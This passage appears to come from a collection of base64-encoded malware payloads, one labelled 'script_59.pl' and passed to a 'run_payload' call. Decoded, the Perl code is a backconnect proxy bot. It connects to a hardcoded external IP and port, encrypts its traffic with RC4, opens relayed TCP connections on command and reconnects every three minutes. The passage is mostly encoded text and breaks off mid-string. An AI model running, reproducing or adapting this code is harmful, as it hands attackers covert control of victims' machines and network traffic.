F0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_59.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMjAxJzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNl